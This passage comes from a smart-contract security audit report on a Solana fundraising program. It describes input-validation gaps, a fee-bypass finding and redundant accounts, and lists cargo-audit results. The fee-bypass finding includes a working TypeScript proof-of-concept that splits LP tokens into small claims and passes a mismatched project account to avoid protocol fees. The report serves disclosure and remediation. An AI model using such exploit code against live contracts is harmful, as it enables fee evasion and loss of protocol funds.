    let cpi_program = ctx.accounts.token_program.to_account_info();
    let cpi_context = CpiContext::new(cpi_program, cpi_accounts);
    token_interface::transfer_checked(
      cpi_context,
      amount,
      ctx.accounts.contribution_mint.decimals
    )?;

    // ? mint tokens to user's ata
    let fundraise_bump = &[fundraise.bump];
    let signer_seeds = &[
      &[
        Fundraise::SEED.as_bytes(),
        lp_mint.as_ref(), // owns escrow wallet on soundwork
        fundraise_bump,
      ][..],
    ];
    let cpi_accounts = MintTo {
      mint: ctx.accounts.lp_mint.to_account_info().clone(),
      to: ctx.accounts.authority_lp_ata.to_account_info().clone(),
      authority: ctx.accounts.fundraise.to_account_info(),
    };
    let cpi_program = ctx.accounts.token_program.to_account_info();
    let cpi_context = CpiContext::new_with_signer(
      cpi_program,
      cpi_accounts,
      signer_seeds
    );
    token_interface::mint_to(cpi_context, amount)?;

    Ok(())
  }

BVSS
Recommendation

It is recommended to properly enforce the following validations in both create_fundraise and update_fundraise instructions

  1. Implement a check for fundraise_start to be less than fundraise_end

  2. Implement a check for fundraise_end to be less than project_end

  3. Prevent reducing target_amount and fundraise_start after contributions have started

  4. Validate that estimated_yield_bps is within a reasonable range

  5. Validate that amount parameter is greater than 0 in contribute instruction


Remediation Comment

PARTIALLY SOLVED: The RECC team partially resolved the finding by following most of the recommendation.

Remediation Hash
e6736492ae9f05fcdd14dea099c86b1c3afe9cbf

7.9 Users Can Bypass Protocol Fees by Claiming Small Amounts

//

Informational

Description

The claim instruction allows users to redeem their LP tokens in exchange for their contribution plus yield. It calculates the claimable amount based on the user's LP token balance using calculate_claim_amount, then splits it into user_take and protocol_take using calculate_protocol_and_user_take instruction. However, if the LP token amount is very small, the protocol fee rounds down to zero allowing users to bypass the protocol fee entirely by making claim calls repeatedly.


program/src/instructions/claim.rs

#[access_control(ctx.accounts.validate())]
  pub fn claim(ctx: Context<Claim>) -> Result<()> {
    let authority_lp_ata = &mut ctx.accounts.authority_lp_ata;
    let fundraise = &mut ctx.accounts.fundraise;
    let project = &mut ctx.accounts.project;
    let lp_mint = ctx.accounts.lp_mint.key();

    let claim_amount = calculate_claim_amount(
      authority_lp_ata.amount,
      project.estimated_yield_bps
    )?;

    // ? protocol fees
    let (user_take, protocol_take) =
      calculate_protocol_and_user_take(claim_amount)?;

    // ? transfer tokens back to user with yield
    let fundraise_bump = &[fundraise.bump];
    let signer_seeds = &[
      &[Fundraise::SEED.as_bytes(), lp_mint.as_ref(), fundraise_bump][..],
    ];

    let cpi_accounts = TransferChecked {
      from: ctx.accounts.vault_ata.to_account_info().clone(),
      mint: ctx.accounts.contribution_mint.to_account_info().clone(),
      to: ctx.accounts.authority_contribution_ata.to_account_info().clone(),
      authority: ctx.accounts.fundraise.to_account_info(),
    };
    let cpi_program = ctx.accounts.token_program.to_account_info();
    let cpi_context = CpiContext::new_with_signer(
      cpi_program,
      cpi_accounts,
      signer_seeds
    );
    token_interface::transfer_checked(
      cpi_context,
      user_take,
      ctx.accounts.contribution_mint.decimals
    )?;

    // ? burn user's LP tokens
    let cpi_accounts = Burn {
      mint: ctx.accounts.lp_mint.to_account_info(),
      from: ctx.accounts.authority_lp_ata.to_account_info(),
      authority: ctx.accounts.authority.to_account_info(),
    };
    let cpi_program = ctx.accounts.token_program.to_account_info();
    let cpi_context = CpiContext::new(cpi_program.clone(), cpi_accounts);
    let authority_lp_bal = ctx.accounts.authority_lp_ata.amount;
    token_interface::burn(cpi_context, authority_lp_bal)?;

    // ?  protocol fee
    let cpi_accounts = TransferChecked {
      from: ctx.accounts.vault_ata.to_account_info(),
      mint: ctx.accounts.contribution_mint.to_account_info(),
      to: ctx.accounts.protocol_vault_ata.to_account_info(),
      authority: ctx.accounts.fundraise.to_account_info(),
    };
    let cpi_context = CpiContext::new_with_signer(
      cpi_program,
      cpi_accounts,
      signer_seeds
    );
    token_interface::transfer_checked(
      cpi_context,
      protocol_take,
      ctx.accounts.contribution_mint.decimals
    )?;

    Ok(())
  }

program/src/helpers.rs

pub fn calculate_protocol_and_user_take(amount: u64) -> Result<(u64, u64)> {
  let amount_u128 = amount as u128;

  let protocol_take = amount_u128
    .checked_mul(PROTOCOL_FEE_BPS as u128)
    .ok_or(ProgramError::ArithmeticOverflow)?
    .checked_div(10000)
    .ok_or(ProgramError::ArithmeticOverflow)?;

  let user_take = amount_u128
    .checked_sub(protocol_take)
    .ok_or(ProgramError::ArithmeticOverflow)?;

  let protocol_take_u64 = u64
    ::try_from(protocol_take)
    .map_err(|_| ProgramError::ArithmeticOverflow)?;
  let user_take_u64 = u64
    ::try_from(user_take)
    .map_err(|_| ProgramError::ArithmeticOverflow)?;

  Ok((user_take_u64, protocol_take_u64))
}

Proof of Concept
import * as anchor from "@coral-xyz/anchor";
import { Program } from "@coral-xyz/anchor";
import { ReccProgram } from "../target/types/recc_program";
import {
  createMint,
  getAssociatedTokenAddressSync,
  getOrCreateAssociatedTokenAccount,
  mintTo,
  TOKEN_PROGRAM_ID,
  tokenMetadataUpdateFieldWithRentTransfer,
  transfer,
} from "@solana/spl-token";
import {
  Keypair,
  LAMPORTS_PER_SOL,
  PublicKey,
  Signer,
  SystemProgram,
} from "@solana/web3.js";
import { expect } from "chai";

anchor.setProvider(anchor.AnchorProvider.env());
const provider = anchor.getProvider() as anchor.AnchorProvider;
const program  = anchor.workspace.reccCustom as Program<ReccProgram>;
const signer   = Keypair.generate();
const METADATA_PROGRAM_ID = new PublicKey("metaqbxxUerdq28cj1RbAWkYQm3ybzjb6a8bt518x1s");


const wait = (ms: number) => new Promise(r => setTimeout(r, ms));

const uiToBn = (
  bal: Awaited<ReturnType<typeof provider.connection.getTokenAccountBalance>>
) => new anchor.BN(bal.value.amount);

async function airdrop(pubkey: PublicKey, sol = 100) {
  await provider.connection.requestAirdrop(pubkey, sol * LAMPORTS_PER_SOL);
  await wait(1_000);
}

async function createFundraise(
  { lpMint, usdcMint, target, bps, fundraiseEnd, projectEnd }: {
    lpMint: Signer; usdcMint: PublicKey; target: number; bps: number;
    fundraiseEnd: number; projectEnd: number
}) {
  const [fundraise] = PublicKey.findProgramAddressSync(
    [Buffer.from("fundraise"), lpMint.publicKey.toBuffer()],
    program.programId,
  );
  const [project] = PublicKey.findProgramAddressSync(
    [Buffer.from("project"), lpMint.publicKey.toBuffer()],
    program.programId,
  );
  const vaultAta = getAssociatedTokenAddressSync(
    usdcMint, fundraise, true, TOKEN_PROGRAM_ID,
  );

  const now   = (await provider.connection.getBlockTime(
    await provider.connection.getSlot()))!;
  const DAY10 = 86400 * 10;

  const [metadataPda, _] = await PublicKey.findProgramAddressSync(
    [
        Buffer.from("metadata"),
        METADATA_PROGRAM_ID.toBuffer(),
        lpMint.publicKey.toBuffer(),
        ],
        METADATA_PROGRAM_ID
    );

  await program.methods
    .createFundraise(
      {
        targetAmount:        new anchor.BN(target),
        fundraiseStart:      new anchor.BN(now),
        fundraiseEnd:        new anchor.BN(now + fundraiseEnd),
        projectEnd:          new anchor.BN(now + projectEnd),
        estimatedYieldBps:   bps,
        presaleMerkleRoot:   Array(32).fill(0),
      },
      { name: "LP", symbol: "LP", uri: "https://example.com" },
    )
    .accounts({
      authority:             signer.publicKey,
      lpMint: lpMint.publicKey,
      contributionMint:      usdcMint,
      lpTokenMetadataAccount: metadataPda,
      tokenProgram:          TOKEN_PROGRAM_ID,
    })
    .signers([signer, lpMint])
    .rpc();

  return { fundraise, project, vaultAta };
}

describe("claim-hijack via wrong Project", () => {
  let usdcMint: PublicKey;

  let lpMintA;
  let fundraiseA: PublicKey, projectA: PublicKey, vaultA: PublicKey;

  let lpMintB;
  let projectB: PublicKey;

  let lpMintC;
  let projectC: PublicKey;

  let userLpAtaA: PublicKey;
  let userUsdcAta: PublicKey;

  before("set up two raises and user LP-A", async () => {
    await airdrop(signer.publicKey);

    usdcMint = await createMint(
      provider.connection, signer, signer.publicKey, null, 6,
    );

    lpMintA = Keypair.generate();
    ({ fundraise: fundraiseA, project: projectA, vaultAta: vaultA } =
      await createFundraise({ lpMint: lpMintA, usdcMint, target: 100_000*1e6, bps: 2_500, fundraiseEnd: 3, projectEnd: 7 }));

    lpMintB = Keypair.generate();
    ({ project: projectB } =
      await createFundraise({ lpMint: lpMintB, usdcMint, target: 100_000*1e6, bps: 1_700, fundraiseEnd: 3, projectEnd: 7 }));

    lpMintC = Keypair.generate();
    ({ project: projectC } =
      await createFundraise({ lpMint: lpMintC, usdcMint, target: 0, bps: 0, fundraiseEnd: 0, projectEnd: 0 }));

    userUsdcAta = (await getOrCreateAssociatedTokenAccount(
      provider.connection, signer, usdcMint, signer.publicKey,
    )).address;

    await mintTo(
      provider.connection, signer, usdcMint, userUsdcAta,
      signer.publicKey, 10_000 * 1e6,
    );

    userLpAtaA = (await getOrCreateAssociatedTokenAccount(
      provider.connection, signer, lpMintA.publicKey , signer.publicKey,
    )).address;

    await program.methods
      .contribute(new anchor.BN(10_000 * 1e6), null) 
      .accounts({
        authority:                signer.publicKey,
        fundraise:                fundraiseA,
        project:                  projectA,
        lpMint:                   lpMintA.publicKey,
        contributionMint:         usdcMint,
        authorityContributionAta: userUsdcAta,
        authorityLpAta:           userLpAtaA,
        vaultAta:                 vaultA,
        tokenProgram:             TOKEN_PROGRAM_ID,
      })
      .signers([signer])
      .rpc();

    await mintTo(
      provider.connection, signer, usdcMint, vaultA,
      signer.publicKey, 90_000 * 1e6,
    );

  });


  it("Users can bypass protocol fees", async () => {
    await wait(3000);
     let userPreBal = uiToBn(
      await provider.connection.getTokenAccountBalance(userUsdcAta),
    );

    let vaultPreBal = uiToBn(
      await provider.connection.getTokenAccountBalance(vaultA),
    );

    let protocolVault = new PublicKey("5KgfWjGePnbFgDAuCqxB5oymuFxQskvCtrw6eYfDa7fj");

    let protocolVaultAta = await getOrCreateAssociatedTokenAccount(
        provider.connection,
        signer,
        usdcMint,
        protocolVault,
        true
    )
    let protocolVaultAtaPreAta = uiToBn(
      await provider.connection.getTokenAccountBalance(protocolVaultAta.address),
    );

    console.log("Before::userPreBal", Number(userPreBal)/1e6)
    console.log("Before::vaultPreBal", Number(vaultPreBal)/1e6)
    console.log("Before::protocolVaultAtaPreAta", Number(protocolVaultAtaPreAta)/1e6)

    let newAddress = Keypair.generate();
    let bypassUsdcAta = await getOrCreateAssociatedTokenAccount(
        provider.connection,
        signer,
        lpMintA.publicKey,
        newAddress.publicKey
    )

    await airdrop(newAddress.publicKey, 1);
    await transfer(
        provider.connection,
        signer,                     
        userLpAtaA,                
        bypassUsdcAta.address,      
        signer,                    
        999  
    );

    let newAddressUsdcAta = await getOrCreateAssociatedTokenAccount(
        provider.connection,
        signer,
        usdcMint,
        newAddress.publicKey
    )

    await program.methods
      .claim()
      .accounts({
        authority:                newAddress.publicKey,
        fundraise:                fundraiseA,   
        project:                  projectC,    
        lpMint:                   lpMintA.publicKey,
        contributionMint:         usdcMint,
        protocolVault,            
        tokenProgram:             TOKEN_PROGRAM_ID,
      })
      .signers([newAddress])
      .rpc();

    let newAddressBal = uiToBn(
      await provider.connection.getTokenAccountBalance(newAddressUsdcAta.address),
    );

    vaultPreBal = uiToBn(
      await provider.connection.getTokenAccountBalance(vaultA),
    );
    protocolVaultAtaPreAta = uiToBn(
      await provider.connection.getTokenAccountBalance(protocolVaultAta.address),
    );

    console.log("After::New Address Balance after claim (Bypassed Fees)", Number(newAddressBal)/1e6)
    console.log("After::Vault balance after claim", Number(vaultPreBal)/1e6)
    console.log("After::protocolVaultAtaPreAta", Number(protocolVaultAtaPreAta)/1e6)
  });

});

Result of the test case



BVSS
Recommendation

It is recommended to enforce a minimum fee whenever the calculated protocol fee rounds down to zero to prevent users from bypassing protocol fees

Remediation Comment

SOLVED: The RECC team resolved the issue by enforcing a minimum protocol fee.

Remediation Hash
728b7310d5d7da54690f75c8ac67cfca33c958f2

7.10 Unused Accounts and Redundant PDA Derivations

//

Informational

Description

Several accounts in a some instructions are included but are never read from nor validated leading to unnecessarily larger transactions and increased compute usage:

  1. In the update_fundraise instruction, the accounts vault_ata, contribution_mint, token_program, and associated_token_program are unused.

  2. In the withdraw and contribute instructions, the project account is included but not utilized.


The update_fundraise instruction also re-derives the PDAs for fundraise and project instead of using their respective stored bump values, resulting in unnecessary compute unit overhead that could be avoided by simply reusing the stored bumps.


program/src/instructions/update.rs

#[derive(Accounts)]
pub struct UpdateFundraise<'info> {
  #[account(mut)]
  pub authority: Signer<'info>,

  // lp tokens mint account
  #[account(mut)]
  pub lp_mint: InterfaceAccount<'info, Mint>,

  #[account(
    mut,
    seeds = [Fundraise::SEED.as_bytes(), lp_mint.key().as_ref()],
    bump,
  )]
  pub fundraise: Account<'info, Fundraise>,

  #[account(
    mut,
    seeds = [Project::SEED.as_bytes(), lp_mint.key().as_ref()],
    bump
  )]
  pub project: Account<'info, Project>,

  // mint of the token that will be used for contributing
  #[account(mut)]
  pub contribution_mint: InterfaceAccount<'info, Mint>,

  #[account(
    mut,
    associated_token::mint = contribution_mint,
    associated_token::authority = fundraise,
    associated_token::token_program = token_program
  )]
  pub vault_ata: InterfaceAccount<'info, TokenAccount>,

  pub system_program: Program<'info, System>,

  pub token_program: Interface<'info, TokenInterface>,

  pub associated_token_program: Program<'info, AssociatedToken>,
}

BVSS
Recommendation

it is recommended to remove the unused accounts to reduce transaction size and compute units.

Remediation Comment

SOLVED: The RECC team resolved the issue by removing redundant accounts.

Remediation Hash
46ba3cf0ee000902b03e12dbd6758602e44d0f6c

8. Automated Testing

Static Analysis Report

Description

Halborn used automated security scanners to assist with the detection of well-known security issues and vulnerabilities. Among the tools used was cargo-audit, a security scanner for vulnerabilities reported to the RustSec Advisory Database. All vulnerabilities published in https://crates.io are stored in a repository named The RustSec Advisory Database. cargo audit is a human-readable version of the advisory database which performs a scanning on Cargo.lock. Security Detections are only in scope. All vulnerabilities shown here were already disclosed in the above report. However, to better assist the developers maintaining this code, the reviewers are including the output with the dependencies tree, and this is included in the cargo audit output to better know the dependencies affected by unmaintained and vulnerable crates.

Results

ID

package

Short Description

RUSTSEC-2024-0344

curve25519-dalek

Timing variability in curve25519-dalek's Scalar29::sub/Scalar52::sub

RUSTSEC-2022-0093

ed25519-dalek

Double Public Key Signing Function Oracle Attack on ed25519-dalek


Halborn strongly recommends conducting a follow-up assessment of the project either within six months or immediately following any material changes to the codebase, whichever comes first. This approach is crucial for maintaining the project’s integrity and addressing potential vulnerabilities introduced by code modifications.

© Halborn 2025. All rights reserved.